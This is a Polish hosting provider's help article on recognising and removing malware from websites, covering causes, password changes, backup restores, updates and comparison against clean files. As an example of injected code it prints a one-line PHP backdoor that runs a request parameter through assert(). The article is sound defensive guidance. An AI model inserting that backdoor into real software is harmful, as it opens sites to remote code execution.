{"id":8341,"date":"2017-11-20T12:25:34","date_gmt":"2017-11-20T11:25:34","guid":{"rendered":"https:\/\/www.lh.pl\/pomoc\/jak-rozpoznac-i-usunac-wirusa-ze-strony-internetowej\/"},"modified":"2022-10-24T10:19:08","modified_gmt":"2022-10-24T08:19:08","slug":"jak-usunac-wirusa-ze-strony-internetowej","status":"publish","type":"post","link":"https:\/\/www.lh.pl\/pomoc\/jak-usunac-wirusa-ze-strony-internetowej\/","title":{"rendered":"Jak rozpozna\u0107 i usun\u0105\u0107 wirusa ze strony internetowej?"},"content":{"rendered":"\n

Twoja strona nie dzia\u0142a prawid\u0142owo, pojawiaj\u0105 si\u0119 przekierowania do innych stron lub cz\u0119\u015b\u0107 podstron w og\u00f3le si\u0119 nie otwiera. To mog\u0105 by\u0107 oznaki szkodliwego kodu, kt\u00f3ry dosta\u0142 si\u0119 na tw\u00f3j serwer. Zobaczmy, po czym rozpozna\u0107 i jak usun\u0105\u0107 wirusa ze strony internetowej?<\/b><\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n

Wirusy mo\u017cemy znale\u017a\u0107 nie tylko na niezabezpieczonych komputerach \u2013 wyst\u0119puj\u0105 one r\u00f3wnie\u017c w innej formie, kt\u00f3ra dotyka naszych stron internetowych. Strony mog\u0105 by\u0107 zainfekowane poprzez umieszczenie w nich z\u0142o\u015bliwego kodu, kt\u00f3ry umo\u017cliwia wykonanie przer\u00f3\u017cnych szkodliwych operacji na naszym serwerze.<\/span><\/p>\n\n\n\n

Dzia\u0142anie wirus\u00f3w jest bardzo r\u00f3\u017cne. Niekt\u00f3re powoduj\u0105 przekierowanie u\u017cytkownika na inn\u0105 stron\u0119 (cz\u0119sto o w\u0105tpliwej reputacji), z kolei inne mog\u0105 powodowa\u0107 znacznie wi\u0119ksze straty, siej\u0105c spustoszenie na naszym serwerze. Mog\u0105 trwale kasowa\u0107 pliki odpowiedzialne za pozycj\u0119 w wyszukiwarce Google, a nawet usuwa\u0107 pliki PHP niezb\u0119dne do prawid\u0142owego dzia\u0142ania strony. Przyjrzyjmy si\u0119 po kolei tej problematyce i zobaczmy, sk\u0105d si\u0119 bior\u0105, jak je rozpozna\u0107 i jak usun\u0105\u0107 wirusy ze strony internetowej.<\/span><\/p>\n\n\n\n

Sk\u0105d si\u0119 bior\u0105 wirusy na stronach internetowych?<\/h2>\n\n\n\n

Gdy nasza strona pada ofiar\u0105 ataku, to przez my\u015bl przechodz\u0105 nam r\u00f3\u017cne teorie. Wielu osobom wydaje si\u0119, \u017ce atak musia\u0142 zosta\u0107 wykonany r\u0119cznie, wi\u0119c z pewno\u015bci\u0105 kto\u015b si\u0119 na nas \u201euwzi\u0105\u0142\u201d i pr\u00f3buje nam zaszkodzi\u0107. Tak jest bardzo, bardzo rzadko. Takiej sytuacji oczywi\u015bcie nigdy nie mo\u017cna wykluczy\u0107, ale w zatrwa\u017caj\u0105cej wi\u0119kszo\u015bci przypadk\u00f3w rzeczywisto\u015b\u0107 jest mniej sensacyjna.<\/span><\/p>\n\n\n\n

Najcz\u0119stsz\u0105 przyczyn\u0105 zainfekowania strony s\u0105<\/b> luki w zabezpieczeniach skrypt\u00f3w, z kt\u00f3rych korzystamy<\/b>. Je\u017celi korzystamy ze starych wersji system\u00f3w CMS typu WordPress czy PrestaShop, to mo\u017cemy by\u0107 pewni, \u017ce zosta\u0142y w nich ju\u017c do tej pory odkryte luki w zabezpieczeniach. S\u0105 one cz\u0119sto wykorzystywane przez zautomatyzowane boty do wprowadzenia z\u0142o\u015bliwego kodu na stronach. <\/span>Problem wynika z tego, \u017ce nie aktualizujemy na bie\u017c\u0105co system\u00f3w CMS, a tak\u017ce wtyczek, z kt\u00f3rych korzystamy.<\/b><\/p>\n\n\n\n

Drug\u0105 przyczyn\u0105 jest wyciek danych<\/b>, w wyniku kt\u00f3rego dane do logowania na serwer FTP, do bazy danych lub do panelu administratora mog\u0105 trafi\u0107 w niepowo\u0142ane r\u0119ce. Najcz\u0119stsz\u0105 przyczyn\u0105 jest niezabezpieczony komputer, kt\u00f3rego u\u017cywamy do logowania w panelu administratora lub na serwerze FTP. Has\u0142o zostaje wykradzione bezpo\u015brednio z urz\u0105dzenia (np. przez wirusy typu keylogger) lub jest po prostu \u0142amane ze wzgl\u0119du na niski poziom skomplikowania (np. \u201ehaslo123\u201d). Gdy kto\u015b uzyska dost\u0119p do naszego konta FTP lub konta administratora na stronie, to mo\u017ce zrobi\u0107 wszystko, na co ma ochot\u0119.<\/span><\/p>\n\n\n\n

Jak dochodzi do atak\u00f3w na stron\u0119 internetow\u0105?<\/h2>\n\n\n\n

W przypadku wycieku danych sprawa jest do\u015b\u0107 prosta. Dane dost\u0119powe trafiaj\u0105 w niepowo\u0142ane r\u0119ce, wi\u0119c osoby trzecie mog\u0105 zalogowa\u0107 si\u0119 na nasz serwer FTP przy u\u017cyciu naszego konta i wprowadzi\u0107 dowolne zmiany. <\/b>Nie ma tu \u017cadnej wielkiej filozofii \u2013 po zalogowaniu si\u0119 na serwerze FTP wida\u0107 wszystkie pliki, wi\u0119c mo\u017cna je dowolnie zmodyfikowa\u0107, dopisuj\u0105c szkodliwy kod, lub po prostu usun\u0105\u0107. Takie ataki s\u0105 jednak do\u015b\u0107 rzadkie i najcz\u0119\u015bciej dochodzi do infekcji strony poprzez luki w zabezpieczeniach skrypt\u00f3w.<\/span><\/p>\n\n\n\n

Do infekcji strony przez luki w zabezpieczeniach dochodzi, gdy korzystamy z przestarza\u0142ego oprogramowania na serwerze<\/b> \u2013 np. u\u017cywamy starej wersji system\u00f3w CMS typu WordPress lub PrestaShop b\u0105d\u017a instalujemy przestarza\u0142e wtyczki do nich. Takie oprogramowanie najcz\u0119\u015bciej ma ju\u017c upublicznione luki w zabezpieczeniach, kt\u00f3re s\u0105 wykorzystywane przez zautomatyzowane boty do wprowadzania z\u0142o\u015bliwego kodu. Z oczywistych wzgl\u0119d\u00f3w najbardziej podatnymi na ataki s\u0105 strony, kt\u00f3re do dzia\u0142ania wykorzystuj\u0105 niezaktualizowane wersje popularnych system\u00f3w CMS, a tak\u017ce przestarza\u0142e wtyczki. <\/span><\/p>\n\n\n\n

Padamy ofiar\u0105 nie dlatego, \u017ce stanowimy dla kogo\u015b konkurencj\u0119, ale dlatego, \u017ce nie aktualizujemy na bie\u017c\u0105co systemu CMS oraz wykorzystywanych na stronie wtyczek.<\/b><\/p>\n\n\n\n

Jakie szkody mog\u0105 wyrz\u0105dzi\u0107 wirusy na stronach internetowych?<\/h2>\n\n\n\n

Wirusy maj\u0105 przer\u00f3\u017cne sposoby dzia\u0142ania, ale najcz\u0119\u015bciej po prostu ingeruj\u0105 w prawid\u0142owe dzia\u0142anie strony, co mo\u017ce mie\u0107 katastroficzne skutki.<\/span> Twoja strona mo\u017ce nagle zacz\u0105\u0107 przekierowywa\u0107 u\u017cytkownik\u00f3w na inne strony o w\u0105tpliwej jako\u015bci.<\/b> Nierzadko s\u0105 to strony pornograficzne, przez co skutecznie odstraszaj\u0105 one odwiedzaj\u0105cych.<\/span> Wirus mo\u017ce tak\u017ce ca\u0142kowicie usuwa\u0107 pliki z serwera, przez co strona kompletnie przestanie si\u0119 otwiera\u0107 – r\u00f3wnie\u017c dla administratora.<\/b><\/p>\n\n\n\n

Nierzadko wyst\u0119puj\u0105 te\u017c infekcje, kt\u00f3re na cel obieraj\u0105 sobie pliki „robots.txt” oraz „sitemap.xml<\/span>„<\/b>. Ten pierwszy umo\u017cliwia zablokowanie indeksowania strony w wybranych wyszukiwarkach, a usuni\u0119cie tego drugiego <\/span>mo\u017ce spowodowa\u0107 obni\u017cenie pozycji w wynikach wyszukiwania<\/b>. S\u0105 to wirusy maj\u0105ce na celu obni\u017cenie naszego SEO, a co za tym idzie zniszczenie naszej pozycji w wyszukiwarkach.<\/span><\/p>\n\n\n\n

Opisane przyk\u0142ady to tylko najprostsze metody dzia\u0142ania szkodliwego kodu. Wystarczaj\u0105 one jednak do tego, aby zrujnowa\u0107 nasz\u0105 stron\u0119, zniszczy\u0107 jej pozycj\u0119 w wyszukiwarkach internetowych oraz skutecznie odstraszy\u0107 od niej odwiedzaj\u0105cych.<\/b><\/p>\n\n\n\n

Jak usun\u0105\u0107 wirusa ze strony internetowej? Podstawowe czynno\u015bci<\/h2>\n\n\n\n

Zanim przejdziemy do bardziej zaawansowanych czynno\u015bci warto wykona\u0107 te najbardziej podstawowe, kt\u00f3re s\u0105 w stanie pom\u00f3c nam w do\u015b\u0107 prosty spos\u00f3b usun\u0105\u0107 wirusa ze strony.<\/span> Pierwszym krokiem powinna by\u0107 zmiana has\u0142a do serwera FTP. <\/b>Wspominali\u015bmy, \u017ce jednym z powod\u00f3w infekcji s\u0105 wycieki danych, przez co kto\u015b m\u00f3g\u0142 uzyska\u0107 dane dost\u0119powe do naszego serwera FTP i narobi\u0107 tam spustoszenia. <\/span><\/p>\n\n\n\n

Najprostszym rozwi\u0105zaniem jest zmiana has\u0142a. W LH.pl nale\u017cy w tym celu wej\u015b\u0107 do panelu klienta, a nast\u0119pnie przej\u015b\u0107 do <\/span>\u201eSerwery > Konta FTP\u201d. <\/b>Wybierz swoje konto FTP, a nast\u0119pnie wpisz do niego nowe has\u0142o. Warto tak\u017ce zmieni\u0107 has\u0142o do panelu administracyjnego swojej strony.<\/span><\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n

Kolejnym krokiem powinno by\u0107 przywr\u00f3cenie strony z kopii zapasowej, zak\u0142adaj\u0105c, \u017ce nie jest ona zainfekowana.<\/b><\/p>\n\n\n\n

W LH.pl klienci maj\u0105 dost\u0119p do kopii zapasowej z ostatnich 30 dni. Kopia uwzgl\u0119dnia zar\u00f3wno wszystkie pliki na serwerze FTP, jak r\u00f3wnie\u017c bazy danych. Szczeg\u00f3\u0142owe instrukcje przywracania kopii zapasowej znajdziesz na stronie swojego us\u0142ugodawcy. Je\u015bli korzystasz z serwera w LH.pl, to zobacz nasze<\/span> instrukcje przywracania kopii zapasowej z backupu<\/b><\/a>. <\/span><\/p>\n\n\n\n

Je\u015bli w por\u0119 zdali\u015bmy sobie spraw\u0119 z tego, \u017ce nasza strona zosta\u0142a zaatakowana przez wirusa, to najprawdopodobniej kopia zapasowa jest czysta i jej przywr\u00f3cenie rozwi\u0105\u017ce problem.<\/span><\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n

Nast\u0119pnym krokiem jest zaktualizowanie systemu CMS i u\u017cywanych wtyczek do najnowszej wersji.<\/strong> Mo\u017cesz to zrobi\u0107 z poziomu panelu administracyjnego swojej strony, przechodz\u0105c do zak\u0142adki z aktualizacjami. Zaktualizowanie strony wolnej od infekcji jest w stanie zabezpieczy\u0107 j\u0105 przed ponownym atakiem. Nie zapomnij tak\u017ce zaktualizowa\u0107 wtyczek!<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n

Posiadacze WordPressa maj\u0105 do dyspozycji jeszcze jedn\u0105 opcj\u0119 – przeinstalowanie podstawowych plik\u00f3w systemu CMS. <\/b>Wystarczy w tym celu przej\u015b\u0107 do zak\u0142adki <\/span>Aktualizacj<\/b>e, a nast\u0119pnie wybra\u0107 opcj\u0119 <\/span>\u201eZainstaluj ponownie\u201d<\/b>. Podstawowe pliki WordPressa zostan\u0105 pobrane ponownie z oficjalnego serwera i przeinstalowane.<\/span><\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n

Nie martw si\u0119, twoja strona si\u0119 nie rozsypie \u2013 \u017cadne twoje ustawienia, motywy, wpisy, strony czy inne elementy nie zostan\u0105 nadpisane. Opcja ta jedynie przeinstalowuje podstawowe pliki WordPressa, kt\u00f3re nigdy nie powinny by\u0107 modyfikowane.<\/p>\n\n\n\n

Stw\u00f3rz list\u0119 potencjalnie zainfekowanych plik\u00f3w<\/h2>\n\n\n\n

Je\u015bli przywr\u00f3cenie strony z backupu i zaktualizowanie jej do najnowszej wersji nie pomog\u0142o, to pozostaje Ci samodzielne usuni\u0119cie wirus\u00f3w. Infekcje wbrew pozorom nie s\u0105 trudne do namierzenia i wcale nie potrzeba nam wiedzy programistycznej do ich usuni\u0119cia. Wystarczy troch\u0119 cierpliwo\u015bci i samozaparcia. Zw\u0142aszcza, \u017ce wi\u0119kszo\u015b\u0107 z nich wykorzystuje podobne schematy dzia\u0142ania.<\/span><\/p>\n\n\n\n

Otwieranie ka\u017cdego pliku na serwerze po kolei i szukanie w nim z\u0142o\u015bliwego kodu linijka po linijce by\u0142oby szale\u0144stwem. Trzeba wygenerowa\u0107 sobie list\u0119 plik\u00f3w, kt\u00f3re warto sprawdzi\u0107 pod k\u0105tem infekcji.<\/b> W LH.pl ka\u017cdy klient ma mo\u017cliwo\u015b\u0107 zwr\u00f3cenia si\u0119 z pro\u015bb\u0105 o przeskanowanie ca\u0142ego serwera. Wyniki tego skanowania s\u0105 udost\u0119pnianie w formie pliku do pobrania. Znajdziesz w nim list\u0119 potencjalnie zainfekowanych plik\u00f3w \u2013 to powinny by\u0107 pierwsze pliki, kt\u00f3re przejrzysz w poszukiwaniu z\u0142o\u015bliwego kodu.<\/span><\/p>\n\n\n\n

Dodatkowo warto zalogowa\u0107 si\u0119 na serwer FTP, a nast\u0119pnie przejrze\u0107 daty modyfikacji plik\u00f3w.<\/b><\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n

Wi\u0119kszo\u015b\u0107 plik\u00f3w powinna mie\u0107 daty modyfikacji zgodne z dat\u0105 przes\u0142ania strony na serwer lub z dat\u0105 ostatniej aktualizacji systemu CMS. W kliencie FTP typu FileZilla mo\u017cesz posortowa\u0107 pliki i foldery po dacie ostatniej modyfikacji. Je\u015bli widzisz, \u017ce wszystkie twoje pliki maj\u0105 dat\u0119 modyfikacji np. z zesz\u0142ego miesi\u0105ca (ostatnia aktualizacja systemu CMS), ale po\u015br\u00f3d nich jest jeden plik PHP, kt\u00f3rego data modyfikacji jest np. wczorajsza lub dzisiejsza, to warto si\u0119 mu bli\u017cej przyjrze\u0107. Istnieje bowiem du\u017ce prawdopodobie\u0144stwo, \u017ce w tym pliku zosta\u0142 dodany szkodliwy kod.<\/p>\n\n\n\n

Wyczy\u015b\u0107 pliki ze szkodliwego kodu i infekcji<\/h2>\n\n\n\n

To najtrudniejsza cz\u0119\u015b\u0107 \u2013 masz ju\u017c list\u0119 plik\u00f3w potencjalnie niebezpiecznych i teraz musisz zweryfikowa\u0107, kt\u00f3ra cz\u0119\u015b\u0107 kodu odpowiada za szkody wyrz\u0105dzane na twoim serwerze. Je\u015bli nie znasz si\u0119 na programowaniu, to mo\u017ce by\u0107 Ci ci\u0119\u017cko trafi\u0107 na te wpisy, kt\u00f3rych by\u0107 tu nie powinno. Do edycji i podgl\u0105du plik\u00f3w zalecamy u\u017cycie programu NotePad++. Wy\u015bwietla on nie tylko tre\u015b\u0107 plik\u00f3w wraz z odpowiednim formatowaniem i kolorowaniem kodu, ale pokazuje r\u00f3wnie\u017c ilo\u015b\u0107 linii, co jest przydatne w celu por\u00f3wnywania plik\u00f3w do ich oryginalnych wersji.<\/p>\n\n\n\n

Szkodliwy kod najcz\u0119\u015bciej doklejany jest na samym pocz\u0105tku pliku lub na samym jego ko\u0144cu<\/strong>. To znacznie u\u0142atwia namierzenie zainfekowanego kodu, gdy\u017c wiemy, gdzie mniej wi\u0119cej szuka\u0107. Zdecydowanie \u0142atwiej znale\u017a\u0107 co\u015b na ko\u0144cu lub na pocz\u0105tku kodu ni\u017c gdzie\u015b w \u015brodku. Przyk\u0142adem jest wirus atakuj\u0105cy pliki index.php<\/strong>, znajduj\u0105ce si\u0119 w podfolderach WordPressa.<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n

Wirus atakuj\u0105cy ten plik dokleja na samym ko\u0144cu fragment kodu, kt\u00f3ry wywo\u0142uje bota wykorzystuj\u0105cego luk\u0119 w zabezpieczeniach. Wykorzystuje w tym celu poni\u017cszy kod:<\/p>\n\n\n\n

if(isset($_REQUEST['bot'])) assert(stripslashes($_REQUEST[bot]));<\/strong><\/pre>\n\n\n\n
Wida\u0107 to na powy\u017cszym przyk\u0142adzie. Takiego pliku nie nale\u017cy ca\u0142kowicie usuwa\u0107 – zamiast tego nale\u017cy usun\u0105\u0107 z niego szkodliwy fragment, pozostawiaj\u0105c tylko oryginalne linie. Oczywi\u015bcie kod wy\u015bwietlony powy\u017cej to tylko jeden z przyk\u0142adowych atak\u00f3w – nie nale\u017cy si\u0119 spodziewa\u0107, \u017ce u siebie znajdziemy co\u015b dok\u0142adnie takiego samego.<\/p>\n\n\n\n
Je\u017celi twoja strona wykorzystuje system CMS, a infekcji szukasz w rdzennych plikach odpowiedzialnych za dzia\u0142anie strony, to warto to robi\u0107 przy jednoczesnym por\u00f3wnaniu ich do oryginalnych plik\u00f3w z czystej wersji. <\/strong><\/p>\n\n\n\n
Nie wiesz, czego szuka\u0107 w kodzie? Por\u00f3wnaj pliki z orygina\u0142ami<\/h2>\n\n\n\n
Wejd\u017a na stron\u0119 swojego systemu CMS i pobierz t\u0119 sam\u0105 wersj\u0119 np. WordPressa lub PrestaShop, z kt\u00f3rej korzystasz, a nast\u0119pnie rozpakuj j\u0105 na sw\u00f3j dysk twardy i trzymaj w gotowo\u015bci. Je\u015bli skanowanie wykaza\u0142o list\u0119 zainfekowanych plik\u00f3w, to sprawd\u017a, czy wyst\u0119puj\u0105 one te\u017c oryginalnie. Je\u015bli tak, to otw\u00f3rz oba pliki obok siebie, a nast\u0119pnie je por\u00f3wnaj. Metoda por\u00f3wnywania plik\u00f3w umo\u017cliwia namierzenie niechcianego kodu bez znajomo\u015bci programowania.<\/strong><\/p>\n\n\n\n
Sprawd\u017a pocz\u0105tek i koniec pliku w poszukiwaniu jakichkolwiek r\u00f3\u017cnic. Sprawd\u017a te\u017c ca\u0142kowit\u0105 ilo\u015b\u0107 linii w pliku. Je\u015bli oryginalnie plik ma 500 linii kodu, a tw\u00f3j plik ma ich ponad 800, to znaczy, \u017ce co\u015b do tego pliku zosta\u0142o w kt\u00f3rym\u015b miejscu dopisane. Oczywi\u015bcie niekt\u00f3re motywy i wtyczki potrafi\u0105 modyfikowa\u0107 niekt\u00f3re pliki, ale w wi\u0119kszo\u015bci przypadk\u00f3w rdzenne pliki WordPressa powinny pozosta\u0107 bez zmian. To samo si\u0119 tyczy PrestaShop oraz innych system\u00f3w CMS.<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
Przyk\u0142ad wida\u0107 powy\u017cej na podstawie pliku<\/strong> „\/wp-includes\/template.php” z WordPressa<\/strong>. Oryginalny plik w niezainfekowanym WordPressie ko\u0144czy si\u0119 na linii 692<\/strong>.  Zainfekowana wersja posiada ich a\u017c 736<\/strong>. Por\u00f3wnuj\u0105c oryginalny plik ze zmodyfikowanym mo\u017cemy jasno stwierdzi\u0107, \u017ce ca\u0142y fragment kodu od linii 693 zosta\u0142 przez co\u015b dopisany. W tym wypadku jest to akurat infekcja, kt\u00f3r\u0105 nale\u017cy po prostu z tego pliku usun\u0105\u0107. Je\u015bli nie jeste\u015b pewien co do tego, czy co\u015b mo\u017cna usun\u0105\u0107, to zawsze mo\u017cesz u\u017cy\u0107 wyszukiwarki Google, wklejaj\u0105c fragment kodu lub nazw\u0119 zainfekowanego pliku z dopiskiem „malware” \u2013 bardzo cz\u0119sto w ten spos\u00f3b mo\u017cna znale\u017a\u0107 strony, pokazuj\u0105ce, jak krok po kroku usun\u0105\u0107 konkretnego wirusa.<\/p>\n\n\n\n
Je\u015bli por\u00f3wnywanie plik\u00f3w nie pomaga, to musisz szkodliwych fragment\u00f3w szuka\u0107 w inny spos\u00f3b. Poni\u017cej znajdziesz przyk\u0142ady, pokazuj\u0105ce, w jaki spos\u00f3b infekcje staraj\u0105 si\u0119 ukry\u0107 po\u015br\u00f3d normalnych plik\u00f3w.<\/p>\n\n\n\n
Przyk\u0142ady szkodliwego kodu i zainfekowanych plik\u00f3w PHP<\/h2>\n\n\n\n
Szkodliwy kod mo\u017ce by\u0107 napisany i ukryty w przer\u00f3\u017cny spos\u00f3b. Poni\u017cej przedstawiamy kilka popularnych technik, wykorzystywanych podczas atak\u00f3w. Je\u015bli znajdziemy co\u015b podobnego u siebie, to powinni\u015bmy to dok\u0142adnie przeanalizowa\u0107 i ewentualnie usun\u0105\u0107.<\/p>\n\n\n\n